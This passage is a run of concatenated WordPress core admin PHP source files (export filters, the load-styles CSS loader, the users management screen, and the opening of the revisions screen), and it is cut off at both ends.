		$authors = $wpdb->get_col( "SELECT DISTINCT post_author FROM {$wpdb->posts} WHERE post_type = 'page'" );
		wp_dropdown_users(
			array(
				'include'         => $authors,
				'name'            => 'page_author',
				'multi'           => true,
				'show_option_all' => __( 'All' ),
				'show'            => 'display_name_with_login',
			)
		);
		?>
		</label>
	</li>
	<li>
		<fieldset>
		<legend class="screen-reader-text">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Date range:' );
			?>
		</legend>
		<label for="page-start-date" class="label-responsive"><?php _e( 'Start date:' ); ?></label>
		<select name="page_start_date" id="page-start-date">
			<option value="0"><?php _e( '&mdash; Select &mdash;' ); ?></option>
			<?php export_date_options( 'page' ); ?>
		</select>
		<label for="page-end-date" class="label-responsive"><?php _e( 'End date:' ); ?></label>
		<select name="page_end_date" id="page-end-date">
			<option value="0"><?php _e( '&mdash; Select &mdash;' ); ?></option>
			<?php export_date_options( 'page' ); ?>
		</select>
		</fieldset>
	</li>
	<li>
		<label for="page-status" class="label-responsive"><?php _e( 'Status:' ); ?></label>
		<select name="page_status" id="page-status">
			<option value="0"><?php _e( 'All' ); ?></option>
			<?php foreach ( $post_stati as $status ) : ?>
			<option value="<?php echo esc_attr( $status->name ); ?>"><?php echo esc_html( $status->label ); ?></option>
			<?php endforeach; ?>
		</select>
	</li>
</ul>

<?php
foreach ( get_post_types(
	array(
		'_builtin'   => false,
		'can_export' => true,
	),
	'objects'
) as $post_type ) :
	?>
<p><label><input type="radio" name="content" value="<?php echo esc_attr( $post_type->name ); ?>" /> <?php echo esc_html( $post_type->label ); ?></label></p>
<?php endforeach; ?>

<p><label><input type="radio" name="content" value="attachment" /> <?php _e( 'Media' ); ?></label></p>
<ul id="attachment-filters" class="export-filters">
	<li>
		<fieldset>
		<legend class="screen-reader-text">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Date range:' );
			?>
		</legend>
		<label for="attachment-start-date" class="label-responsive"><?php _e( 'Start date:' ); ?></label>
		<select name="attachment_start_date" id="attachment-start-date">
			<option value="0"><?php _e( '&mdash; Select &mdash;' ); ?></option>
			<?php export_date_options( 'attachment' ); ?>
		</select>
		<label for="attachment-end-date" class="label-responsive"><?php _e( 'End date:' ); ?></label>
		<select name="attachment_end_date" id="attachment-end-date">
			<option value="0"><?php _e( '&mdash; Select &mdash;' ); ?></option>
			<?php export_date_options( 'attachment' ); ?>
		</select>
		</fieldset>
	</li>
</ul>

</fieldset>
<?php
/**
 * Fires at the end of the export filters form.
 *
 * @since 3.5.0
 */
do_action( 'export_filters' );
?>

<?php submit_button( __( 'Download Export File' ) ); ?>
</form>
</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
<?php

/*
 * Disable error reporting.
 *
 * Set this to error_reporting( -1 ) for debugging.
 */
error_reporting( 0 );

// Set ABSPATH for execution.
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', dirname( __DIR__ ) . '/' );
}

define( 'WPINC', 'wp-includes' );
define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' );

require ABSPATH . 'wp-admin/includes/noop.php';
require ABSPATH . WPINC . '/theme.php';
require ABSPATH . WPINC . '/class-wp-theme-json-resolver.php';
require ABSPATH . WPINC . '/global-styles-and-settings.php';
require ABSPATH . WPINC . '/script-loader.php';
require ABSPATH . WPINC . '/version.php';

$protocol = $_SERVER['SERVER_PROTOCOL'];
if ( ! in_array( $protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0', 'HTTP/3' ), true ) ) {
	$protocol = 'HTTP/1.0';
}

$load = $_GET['load'];
if ( is_array( $load ) ) {
	ksort( $load );
	$load = implode( '', $load );
}

$load = preg_replace( '/[^a-z0-9,_-]+/i', '', $load );
$load = array_unique( explode( ',', $load ) );

if ( empty( $load ) ) {
	header( "$protocol 400 Bad Request" );
	exit;
}

$rtl            = ( isset( $_GET['dir'] ) && 'rtl' === $_GET['dir'] );
$expires_offset = 31536000; // 1 year.
$out            = '';

$wp_styles = new WP_Styles();
wp_default_styles( $wp_styles );

if ( isset( $_SERVER['HTTP_IF_NONE_MATCH'] ) && stripslashes( $_SERVER['HTTP_IF_NONE_MATCH'] ) === $wp_version ) {
	header( "$protocol 304 Not Modified" );
	exit;
}

foreach ( $load as $handle ) {
	if ( ! array_key_exists( $handle, $wp_styles->registered ) ) {
		continue;
	}

	$style = $wp_styles->registered[ $handle ];

	if ( empty( $style->src ) ) {
		continue;
	}

	$path = ABSPATH . $style->src;

	if ( $rtl && ! empty( $style->extra['rtl'] ) ) {
		// All default styles have fully independent RTL files.
		$path = str_replace( '.min.css', '-rtl.min.css', $path );
	}

	$content = get_file( $path ) . "\n";

	// Note: str_starts_with() is not used here, as wp-includes/compat.php is not loaded in this file.
	if ( 0 === strpos( $style->src, '/' . WPINC . '/css/' ) ) {
		$content = str_replace( '../images/', '../' . WPINC . '/images/', $content );
		$content = str_replace( '../js/tinymce/', '../' . WPINC . '/js/tinymce/', $content );
		$content = str_replace( '../fonts/', '../' . WPINC . '/fonts/', $content );
		$out    .= $content;
	} else {
		$out .= str_replace( '../images/', 'images/', $content );
	}
}

header( "Etag: $wp_version" );
header( 'Content-Type: text/css; charset=UTF-8' );
header( 'Expires: ' . gmdate( 'D, d M Y H:i:s', time() + $expires_offset ) . ' GMT' );
header( "Cache-Control: public, max-age=$expires_offset" );

echo $out;
exit;
<?php
/**
 * User administration panel
 *
 * @package WordPress
 * @subpackage Administration
 * @since 1.0.0
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'list_users' ) ) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to list users.' ) . '</p>',
		403
	);
}

$wp_list_table = _get_list_table( 'WP_Users_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();

// Used in the HTML title tag.
$title       = __( 'Users' );
$parent_file = 'users.php';

add_screen_option( 'per_page' );

// Contextual help - choose Help on the top right of admin panel to preview this.
get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => '<p>' . __( 'This screen lists all the existing users for your site. Each user has one of five defined roles as set by the site admin: Site Administrator, Editor, Author, Contributor, or Subscriber. Users with roles other than Administrator will see fewer options in the dashboard navigation when they are logged in, based on their role.' ) . '</p>' .
						'<p>' . __( 'To add a new user for your site, click the Add New button at the top of the screen or Add New in the Users menu section.' ) . '</p>',
	)
);

get_current_screen()->add_help_tab(
	array(
		'id'      => 'screen-content',
		'title'   => __( 'Screen Content' ),
		'content' => '<p>' . __( 'You can customize the display of this screen in a number of ways:' ) . '</p>' .
						'<ul>' .
						'<li>' . __( 'You can hide/display columns based on your needs and decide how many users to list per screen using the Screen Options tab.' ) . '</li>' .
						'<li>' . __( 'You can filter the list of users by User Role using the text links above the users list to show All, Administrator, Editor, Author, Contributor, or Subscriber. The default view is to show all users. Unused User Roles are not listed.' ) . '</li>' .
						'<li>' . __( 'You can view all posts made by a user by clicking on the number under the Posts column.' ) . '</li>' .
						'</ul>',
	)
);

$help = '<p>' . __( 'Hovering over a row in the users list will display action links that allow you to manage users. You can perform the following actions:' ) . '</p>' .
	'<ul>' .
	'<li>' . __( '<strong>Edit</strong> takes you to the editable profile screen for that user. You can also reach that screen by clicking on the username.' ) . '</li>';

if ( is_multisite() ) {
	$help .= '<li>' . __( '<strong>Remove</strong> allows you to remove a user from your site. It does not delete their content. You can also remove multiple users at once by using bulk actions.' ) . '</li>';
} else {
	$help .= '<li>' . __( '<strong>Delete</strong> brings you to the Delete Users screen for confirmation, where you can permanently remove a user from your site and delete their content. You can also delete multiple users at once by using bulk actions.' ) . '</li>';
}

$help .= '<li>' . __( '<strong>View</strong> takes you to a public author archive which lists all the posts published by the user.' ) . '</li>';

if ( current_user_can( 'edit_users' ) ) {
	$help .= '<li>' . __( '<strong>Send password reset</strong> sends the user an email with a link to set a new password.' ) . '</li>';
}

$help .= '</ul>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'action-links',
		'title'   => __( 'Available Actions' ),
		'content' => $help,
	)
);
unset( $help );

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/users-screen/">Documentation on Managing Users</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/roles-and-capabilities/">Descriptions of Roles and Capabilities</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter users list' ),
		'heading_pagination' => __( 'Users list navigation' ),
		'heading_list'       => __( 'Users list' ),
	)
);

if ( empty( $_REQUEST ) ) {
	$referer = '<input type="hidden" name="wp_http_referer" value="' . esc_attr( wp_unslash( $_SERVER['REQUEST_URI'] ) ) . '" />';
} elseif ( isset( $_REQUEST['wp_http_referer'] ) ) {
	$redirect = remove_query_arg( array( 'wp_http_referer', 'updated', 'delete_count' ), wp_unslash( $_REQUEST['wp_http_referer'] ) );
	$referer  = '<input type="hidden" name="wp_http_referer" value="' . esc_attr( $redirect ) . '" />';
} else {
	$redirect = 'users.php';
	$referer  = '';
}

$update = '';

switch ( $wp_list_table->current_action() ) {

	/* Bulk Dropdown menu Role changes */
	case 'promote':
		check_admin_referer( 'bulk-users' );

		if ( ! current_user_can( 'promote_users' ) ) {
			wp_die( __( 'Sorry, you are not allowed to edit this user.' ), 403 );
		}

		if ( empty( $_REQUEST['users'] ) ) {
			wp_redirect( $redirect );
			exit;
		}

		$editable_roles = get_editable_roles();
		$role           = $_REQUEST['new_role'];

		// Mocking the `none` role so we are able to save it to the database
		$editable_roles['none'] = array(
			'name' => __( '&mdash; No role for this site &mdash;' ),
		);

		if ( ! $role || empty( $editable_roles[ $role ] ) ) {
			wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 );
		}

		if ( 'none' === $role ) {
			$role = '';
		}

		$user_ids = array_map( 'intval', (array) $_REQUEST['users'] );
		$update   = 'promote';

		foreach ( $user_ids as $id ) {
			if ( ! current_user_can( 'promote_user', $id ) ) {
				wp_die( __( 'Sorry, you are not allowed to edit this user.' ), 403 );
			}

			// The new role of the current user must also have the promote_users cap or be a multisite super admin.
			if ( $id === $current_user->ID
				&& ! $wp_roles->role_objects[ $role ]->has_cap( 'promote_users' )
				&& ! ( is_multisite() && current_user_can( 'manage_network_users' ) )
			) {
					$update = 'err_admin_role';
					continue;
			}

			// If the user doesn't already belong to the blog, bail.
			if ( is_multisite() && ! is_user_member_of_blog( $id ) ) {
				wp_die(
					'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
					'<p>' . __( 'One of the selected users is not a member of this site.' ) . '</p>',
					403
				);
			}

			$user = get_userdata( $id );
			$user->set_role( $role );
		}

		wp_redirect( add_query_arg( 'update', $update, $redirect ) );
		exit;

	case 'dodelete':
		if ( is_multisite() ) {
			wp_die( __( 'User deletion is not allowed from this screen.' ), 400 );
		}

		check_admin_referer( 'delete-users' );

		if ( empty( $_REQUEST['users'] ) ) {
			wp_redirect( $redirect );
			exit;
		}

		$user_ids = array_map( 'intval', (array) $_REQUEST['users'] );

		if ( empty( $_REQUEST['delete_option'] ) ) {
			$url = self_admin_url( 'users.php?action=delete&users[]=' . implode( '&users[]=', $user_ids ) . '&error=true' );
			$url = str_replace( '&amp;', '&', wp_nonce_url( $url, 'bulk-users' ) );
			wp_redirect( $url );
			exit;
		}

		if ( ! current_user_can( 'delete_users' ) ) {
			wp_die( __( 'Sorry, you are not allowed to delete users.' ), 403 );
		}

		$update       = 'del';
		$delete_count = 0;

		foreach ( $user_ids as $id ) {
			if ( ! current_user_can( 'delete_user', $id ) ) {
				wp_die( __( 'Sorry, you are not allowed to delete that user.' ), 403 );
			}

			if ( $id === $current_user->ID ) {
				$update = 'err_admin_del';
				continue;
			}

			switch ( $_REQUEST['delete_option'] ) {
				case 'delete':
					wp_delete_user( $id );
					break;
				case 'reassign':
					wp_delete_user( $id, $_REQUEST['reassign_user'] );
					break;
			}

			++$delete_count;
		}

		$redirect = add_query_arg(
			array(
				'delete_count' => $delete_count,
				'update'       => $update,
			),
			$redirect
		);
		wp_redirect( $redirect );
		exit;

	case 'resetpassword':
		check_admin_referer( 'bulk-users' );

		if ( ! current_user_can( 'edit_users' ) ) {
			$errors = new WP_Error( 'edit_users', __( 'Sorry, you are not allowed to edit users.' ) );
		}

		if ( empty( $_REQUEST['users'] ) ) {
			wp_redirect( $redirect );
			exit();
		}

		$user_ids = array_map( 'intval', (array) $_REQUEST['users'] );

		$reset_count = 0;

		foreach ( $user_ids as $id ) {
			if ( ! current_user_can( 'edit_user', $id ) ) {
				wp_die( __( 'Sorry, you are not allowed to edit this user.' ) );
			}

			if ( $id === $current_user->ID ) {
				$update = 'err_admin_reset';
				continue;
			}

			// Send the password reset link.
			$user = get_userdata( $id );
			if ( true === retrieve_password( $user->user_login ) ) {
				++$reset_count;
			}
		}

		$redirect = add_query_arg(
			array(
				'reset_count' => $reset_count,
				'update'      => 'resetpassword',
			),
			$redirect
		);
		wp_redirect( $redirect );
		exit;

	case 'delete':
		if ( is_multisite() ) {
			wp_die( __( 'User deletion is not allowed from this screen.' ), 400 );
		}

		check_admin_referer( 'bulk-users' );

		if ( empty( $_REQUEST['users'] ) && empty( $_REQUEST['user'] ) ) {
			wp_redirect( $redirect );
			exit;
		}

		if ( ! current_user_can( 'delete_users' ) ) {
			$errors = new WP_Error( 'edit_users', __( 'Sorry, you are not allowed to delete users.' ) );
		}

		if ( empty( $_REQUEST['users'] ) ) {
			$user_ids = array( (int) $_REQUEST['user'] );
		} else {
			$user_ids = array_map( 'intval', (array) $_REQUEST['users'] );
		}

		$all_user_ids = $user_ids;

		if ( in_array( $current_user->ID, $user_ids, true ) ) {
			$user_ids = array_diff( $user_ids, array( $current_user->ID ) );
		}

		/**
		 * Filters whether the users being deleted have additional content
		 * associated with them outside of the `post_author` and `link_owner` relationships.
		 *
		 * @since 5.2.0
		 *
		 * @param bool  $users_have_additional_content Whether the users have additional content. Default false.
		 * @param int[] $user_ids                      Array of IDs for users being deleted.
		 */
		$users_have_content = (bool) apply_filters( 'users_have_additional_content', false, $user_ids );

		if ( $user_ids && ! $users_have_content ) {
			if ( $wpdb->get_var(
				"SELECT ID FROM {$wpdb->posts}
				WHERE post_author IN( " . implode( ',', $user_ids ) . ' )
				LIMIT 1'
			) ) {
				$users_have_content = true;
			} elseif ( $wpdb->get_var(
				"SELECT link_id FROM {$wpdb->links}
				WHERE link_owner IN( " . implode( ',', $user_ids ) . ' )
				LIMIT 1'
			) ) {
				$users_have_content = true;
			}
		}

		if ( $users_have_content ) {
			add_action( 'admin_head', 'delete_users_add_js' );
		}

		require_once ABSPATH . 'wp-admin/admin-header.php';
		?>
		<form method="post" name="updateusers" id="updateusers">
		<?php wp_nonce_field( 'delete-users' ); ?>
		<?php echo $referer; ?>

		<div class="wrap">
		<h1><?php _e( 'Delete Users' ); ?></h1>

		<?php
		if ( isset( $_REQUEST['error'] ) ) :
			wp_admin_notice(
				'<strong>' . __( 'Error:' ) . '</strong> ' . __( 'Please select an option.' ),
				array(
					'additional_classes' => array( 'error' ),
				)
			);
		endif;
		?>

		<?php if ( 1 === count( $all_user_ids ) ) : ?>
			<p><?php _e( 'You have specified this user for deletion:' ); ?></p>
		<?php else : ?>
			<p><?php _e( 'You have specified these users for deletion:' ); ?></p>
		<?php endif; ?>

		<ul>
		<?php
		$go_delete = 0;

		foreach ( $all_user_ids as $id ) {
			$user = get_userdata( $id );

			if ( $id === $current_user->ID ) {
				echo '<li>';
				printf(
					/* translators: 1: User ID, 2: User login. */
					__( 'ID #%1$s: %2$s <strong>The current user will not be deleted.</strong>' ),
					$id,
					$user->user_login
				);
				echo "</li>\n";
			} else {
				echo '<li>';
				printf(
					'<input type="hidden" name="users[]" value="%s" />',
					esc_attr( $id )
				);
				printf(
					/* translators: 1: User ID, 2: User login. */
					__( 'ID #%1$s: %2$s' ),
					$id,
					$user->user_login
				);
				echo "</li>\n";

				++$go_delete;
			}
		}
		?>
		</ul>

		<?php
		if ( $go_delete ) :

			if ( ! $users_have_content ) :
				?>
				<input type="hidden" name="delete_option" value="delete" />
			<?php else : ?>
				<fieldset>
				<?php if ( 1 === $go_delete ) : ?>
					<p><legend><?php _e( 'What should be done with content owned by this user?' ); ?></legend></p>
				<?php else : ?>
					<p><legend><?php _e( 'What should be done with content owned by these users?' ); ?></legend></p>
				<?php endif; ?>

				<ul style="list-style:none;">
					<li>
						<input type="radio" id="delete_option0" name="delete_option" value="delete" />
						<label for="delete_option0"><?php _e( 'Delete all content.' ); ?></label>
					</li>
					<li>
						<input type="radio" id="delete_option1" name="delete_option" value="reassign" />
						<label for="delete_option1"><?php _e( 'Attribute all content to:' ); ?></label>
						<?php
						wp_dropdown_users(
							array(
								'name'    => 'reassign_user',
								'exclude' => $user_ids,
								'show'    => 'display_name_with_login',
							)
						);
						?>
					</li>
				</ul>
				</fieldset>
				<?php
			endif;

			/**
			 * Fires at the end of the delete users form prior to the confirm button.
			 *
			 * @since 4.0.0
			 * @since 4.5.0 The `$user_ids` parameter was added.
			 *
			 * @param WP_User $current_user WP_User object for the current user.
			 * @param int[]   $user_ids     Array of IDs for users being deleted.
			 */
			do_action( 'delete_user_form', $current_user, $user_ids );
			?>
			<input type="hidden" name="action" value="dodelete" />
			<?php submit_button( __( 'Confirm Deletion' ), 'primary' ); ?>

		<?php else : ?>

			<p><?php _e( 'There are no valid users selected for deletion.' ); ?></p>

		<?php endif; ?>
		</div><!-- .wrap -->
		</form><!-- #updateusers -->
		<?php

		break;

	case 'doremove':
		check_admin_referer( 'remove-users' );

		if ( ! is_multisite() ) {
			wp_die( __( 'You cannot remove users.' ), 400 );
		}

		if ( empty( $_REQUEST['users'] ) ) {
			wp_redirect( $redirect );
			exit;
		}

		if ( ! current_user_can( 'remove_users' ) ) {
			wp_die( __( 'Sorry, you are not allowed to remove users.' ), 403 );
		}

		$user_ids = array_map( 'intval', (array) $_REQUEST['users'] );
		$update   = 'remove';

		foreach ( $user_ids as $id ) {
			if ( ! current_user_can( 'remove_user', $id ) ) {
				$update = 'err_admin_remove';
				continue;
			}

			remove_user_from_blog( $id, $blog_id );
		}

		$redirect = add_query_arg( array( 'update' => $update ), $redirect );
		wp_redirect( $redirect );
		exit;

	case 'remove':
		check_admin_referer( 'bulk-users' );

		if ( ! is_multisite() ) {
			wp_die( __( 'You cannot remove users.' ), 400 );
		}

		if ( empty( $_REQUEST['users'] ) && empty( $_REQUEST['user'] ) ) {
			wp_redirect( $redirect );
			exit;
		}

		if ( ! current_user_can( 'remove_users' ) ) {
			$error = new WP_Error( 'edit_users', __( 'Sorry, you are not allowed to remove users.' ) );
		}

		if ( empty( $_REQUEST['users'] ) ) {
			$user_ids = array( (int) $_REQUEST['user'] );
		} else {
			$user_ids = array_map( 'intval', (array) $_REQUEST['users'] );
		}

		require_once ABSPATH . 'wp-admin/admin-header.php';
		?>
		<form method="post" name="updateusers" id="updateusers">
		<?php wp_nonce_field( 'remove-users' ); ?>
		<?php echo $referer; ?>

		<div class="wrap">
		<h1><?php _e( 'Remove Users from Site' ); ?></h1>

		<?php if ( 1 === count( $user_ids ) ) : ?>
			<p><?php _e( 'You have specified this user for removal:' ); ?></p>
		<?php else : ?>
			<p><?php _e( 'You have specified these users for removal:' ); ?></p>
		<?php endif; ?>

		<ul>
		<?php
		$go_remove = false;

		foreach ( $user_ids as $id ) {
			$user = get_userdata( $id );

			if ( ! current_user_can( 'remove_user', $id ) ) {
				echo '<li>';
				printf(
					/* translators: 1: User ID, 2: User login. */
					__( 'ID #%1$s: %2$s <strong>Sorry, you are not allowed to remove this user.</strong>' ),
					$id,
					$user->user_login
				);
				echo "</li>\n";
			} else {
				echo '<li>';
				printf(
					'<input type="hidden" name="users[]" value="%s" />',
					esc_attr( $id )
				);
				printf(
					/* translators: 1: User ID, 2: User login. */
					__( 'ID #%1$s: %2$s' ),
					$id,
					$user->user_login
				);
				echo "</li>\n";

				$go_remove = true;
			}
		}
		?>
		</ul>

		<?php if ( $go_remove ) : ?>

			<input type="hidden" name="action" value="doremove" />
			<?php submit_button( __( 'Confirm Removal' ), 'primary' ); ?>

		<?php else : ?>

			<p><?php _e( 'There are no valid users selected for removal.' ); ?></p>

		<?php endif; ?>
		</div><!-- .wrap -->
		</form><!-- #updateusers -->
		<?php

		break;

	default:
		if ( ! empty( $_GET['_wp_http_referer'] ) ) {
			wp_redirect( remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
			exit;
		}

		if ( $wp_list_table->current_action() && ! empty( $_REQUEST['users'] ) ) {
			$screen   = get_current_screen()->id;
			$sendback = wp_get_referer();
			$user_ids = array_map( 'intval', (array) $_REQUEST['users'] );

			/** This action is documented in wp-admin/edit.php */
			$sendback = apply_filters( "handle_bulk_actions-{$screen}", $sendback, $wp_list_table->current_action(), $user_ids ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

			wp_safe_redirect( $sendback );
			exit;
		}

		$wp_list_table->prepare_items();
		$total_pages = $wp_list_table->get_pagination_arg( 'total_pages' );

		if ( $pagenum > $total_pages && $total_pages > 0 ) {
			wp_redirect( add_query_arg( 'paged', $total_pages ) );
			exit;
		}

		require_once ABSPATH . 'wp-admin/admin-header.php';

		$messages = array();
		if ( isset( $_GET['update'] ) ) :
			switch ( $_GET['update'] ) {
				case 'del':
				case 'del_many':
					$delete_count = isset( $_GET['delete_count'] ) ? (int) $_GET['delete_count'] : 0;
					if ( 1 === $delete_count ) {
						$message = __( 'User deleted.' );
					} else {
						/* translators: %s: Number of users. */
						$message = _n( '%s user deleted.', '%s users deleted.', $delete_count );
					}
					$message    = sprintf( $message, number_format_i18n( $delete_count ) );
					$messages[] = wp_get_admin_notice(
						$message,
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'updated' ),
							'dismissible'        => true,
						)
					);
					break;
				case 'add':
					$message = __( 'New user created.' );
					$user_id = isset( $_GET['id'] ) ? $_GET['id'] : false;
					if ( $user_id && current_user_can( 'edit_user', $user_id ) ) {
						$message .= sprintf(
							' <a href="%1$s">%2$s</a>',
							esc_url(
								add_query_arg(
									'wp_http_referer',
									urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ),
									self_admin_url( 'user-edit.php?user_id=' . $user_id )
								)
							),
							__( 'Edit user' )
						);
					}

					$messages[] = wp_get_admin_notice(
						$message,
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'updated' ),
							'dismissible'        => true,
						)
					);
					break;
				case 'resetpassword':
					$reset_count = isset( $_GET['reset_count'] ) ? (int) $_GET['reset_count'] : 0;
					if ( 1 === $reset_count ) {
						$message = __( 'Password reset link sent.' );
					} else {
						/* translators: %s: Number of users. */
						$message = _n( 'Password reset links sent to %s user.', 'Password reset links sent to %s users.', $reset_count );
					}
					$message    = sprintf( $message, number_format_i18n( $reset_count ) );
					$messages[] = wp_get_admin_notice(
						$message,
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'updated' ),
							'dismissible'        => true,
						)
					);
					break;
				case 'promote':
					$messages[] = wp_get_admin_notice(
						__( 'Changed roles.' ),
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'updated' ),
							'dismissible'        => true,
						)
					);
					break;
				case 'err_admin_role':
					$messages[] = wp_get_admin_notice(
						__( 'The current user&#8217;s role must have user editing capabilities.' ),
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'error' ),
							'dismissible'        => true,
						)
					);
					$messages[] = wp_get_admin_notice(
						__( 'Other user roles have been changed.' ),
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'updated' ),
							'dismissible'        => true,
						)
					);
					break;
				case 'err_admin_del':
					$messages[] = wp_get_admin_notice(
						__( 'You cannot delete the current user.' ),
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'error' ),
							'dismissible'        => true,
						)
					);
					$messages[] = wp_get_admin_notice(
						__( 'Other users have been deleted.' ),
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'updated' ),
							'dismissible'        => true,
						)
					);
					break;
				case 'remove':
					$messages[] = wp_get_admin_notice(
						__( 'User removed from this site.' ),
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'updated', 'fade' ),
							'dismissible'        => true,
						)
					);
					break;
				case 'err_admin_remove':
					$messages[] = wp_get_admin_notice(
						__( 'You cannot remove the current user.' ),
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'error' ),
							'dismissible'        => true,
						)
					);
					$messages[] = wp_get_admin_notice(
						__( 'Other users have been removed.' ),
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'updated', 'fade' ),
							'dismissible'        => true,
						)
					);
					break;
			}
		endif;
		?>

		<?php
		if ( isset( $errors ) && is_wp_error( $errors ) ) :
			$error_message = '';
			foreach ( $errors->get_error_messages() as $err ) {
				$error_message .= "<li>$err</li>\n";
			}
			wp_admin_notice(
				'<ul>' . $error_message . '</ul>',
				array(
					'additional_classes' => array( 'error' ),
				)
			);
		endif;

		if ( ! empty( $messages ) ) {
			foreach ( $messages as $msg ) {
				echo $msg;
			}
		}
		?>

		<div class="wrap">
		<h1 class="wp-heading-inline">
			<?php echo esc_html( $title ); ?>
		</h1>

		<?php
		if ( current_user_can( 'create_users' ) ) {
			printf(
				'<a href="%1$s" class="page-title-action">%2$s</a>',
				esc_url( admin_url( 'user-new.php' ) ),
				esc_html__( 'Add New User' )
			);
		} elseif ( is_multisite() && current_user_can( 'promote_users' ) ) {
			printf(
				'<a href="%1$s" class="page-title-action">%2$s</a>',
				esc_url( admin_url( 'user-new.php' ) ),
				esc_html__( 'Add Existing User' )
			);
		}

		if ( strlen( $usersearch ) ) {
			echo '<span class="subtitle">';
			printf(
				/* translators: %s: Search query. */
				__( 'Search results for: %s' ),
				'<strong>' . esc_html( $usersearch ) . '</strong>'
			);
			echo '</span>';
		}
		?>

		<hr class="wp-header-end">

		<?php $wp_list_table->views(); ?>

		<form method="get">

		<?php $wp_list_table->search_box( __( 'Search Users' ), 'user' ); ?>

		<?php if ( ! empty( $_REQUEST['role'] ) ) { ?>
			<input type="hidden" name="role" value="<?php echo esc_attr( $_REQUEST['role'] ); ?>" />
		<?php } ?>

		<?php $wp_list_table->display(); ?>

		</form>

		<div class="clear"></div>
		</div><!-- .wrap -->
		<?php
		break;

} // End of the $doaction switch.

require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Revisions administration panel
 *
 * Requires wp-admin/includes/revision.php.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 2.6.0
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/includes/revision.php';

/**
 * @global int    $revision Optional. The revision ID.
 * @global string $action   The action to take.
 *                          Accepts 'restore', 'view' or 'edit'.
 * @global int    $from     The revision to compare from.
 * @global int    $to       Optional, required if revision missing. The revision to compare to.
 */
wp_reset_vars( array( 'revision', 'action', 'from', 'to' ) );

$revision_id = absint( $revision );

$from = is_numeric( $from ) ? absint( $from ) : null;
if ( ! $revision_id ) {
	$revision_id = absint( $to );
}
$redirect = 'edit.php';

switch ( $action ) {
	case 'restore':
		$revision = wp_get_post_revision( $revision_id );
		if ( ! $revision ) {
			break;
		}

		if ( ! current_user_can( 'edit_post', $revision->post_parent ) ) {
			break;
		}

		$post = get_post( $revision->post_parent );
		if ( ! $post ) {
			break;
		}

		// Don't restore if revisions are disabled and this is not an autosave.
		if ( ! wp_revisions_enabled( $post ) && ! wp_is_post_autosave( $revision ) ) {
			$redirect = 'edit.php?post_type=' . $post->post_type;
			break;
		}

		// Don't restore if the post is locked.
		if ( wp_check_post_lock( $post->ID ) ) {
			break;
		}

		check_admin_referer( "restore-post_{$revision->ID}" );

		/*
		 * Ensure the global $post remains the same after revision is restored.
		 * Because wp_insert_post() and wp_transition_post_status() are called
		 * during the process, plugins can unexpectedly modify $post.
		 */
		$backup_global_post = clone $post;

		wp_restore_post_revision( $revision->ID );

		// Restore the global $post as it was before.
		$post = $backup_global_post;

		$redirect = add_query_arg(
			array(
				'message'  => 5,
				'revision' => $revision->ID,
			),
			get_edit_post_link( $post->ID, 'url' )
		);
		break;
	case 'view':
	case 'edit':
	default:
		$revision = wp_get_post_revision( $revision_id );
		if ( ! $revision ) {
			break;
		}

		$post = get_post( $revision->post_parent );
		if ( ! $post ) {
			break;
		}

		if ( ! current_user_can( 'read_post', $revision->ID ) || ! current_user_can( 'edit_post', $revision->post_parent ) ) {
			break;
		}

		// Bail if revisions are disabled and this is not an autosave.
		if ( ! wp_revisions_enabled( $post ) && ! wp_is_post_autosave( $revision ) ) {
			$redirect = 'edit.php?post_type=' . $post->post_type;
			break;
		}

		$post_edit_link = get_edit_post_link();
		$post_title     = '<a href="' . esc_url( $post_edit_link ) . '">' . _draft_or_post_title() . '</a>';
		/* translators: %s: Post title. */
		$h1             = sprintf( __( 'Compare Revisions of &#8220;%s&#8221;' ), $post_title );
		$return_to_post = '<a href="' . esc_url( $post_edit_link ) . '">' . __( '&larr; Go to editor' ) . '</a>';
		// Used in the HTML title tag.
		$title = __( 'Revisions' );

		$redirect = false;
		break;
}

// Empty post_type means either malformed object found, or no valid parent was found.
if ( ! $redirect && empty( $post->post_type ) ) {
	$redirect = 'edit.php';
}

if ( ! empty( $redirect ) ) {
	wp_redirect( $redirect );
	exit;
}

// This is so that the correct "Edit" menu item is selected.
if ( ! empty( $post->post_type ) && 'post' !== $post->post_type ) {
	$parent_file = 'edit.php?post_type=' . $post->post_type;
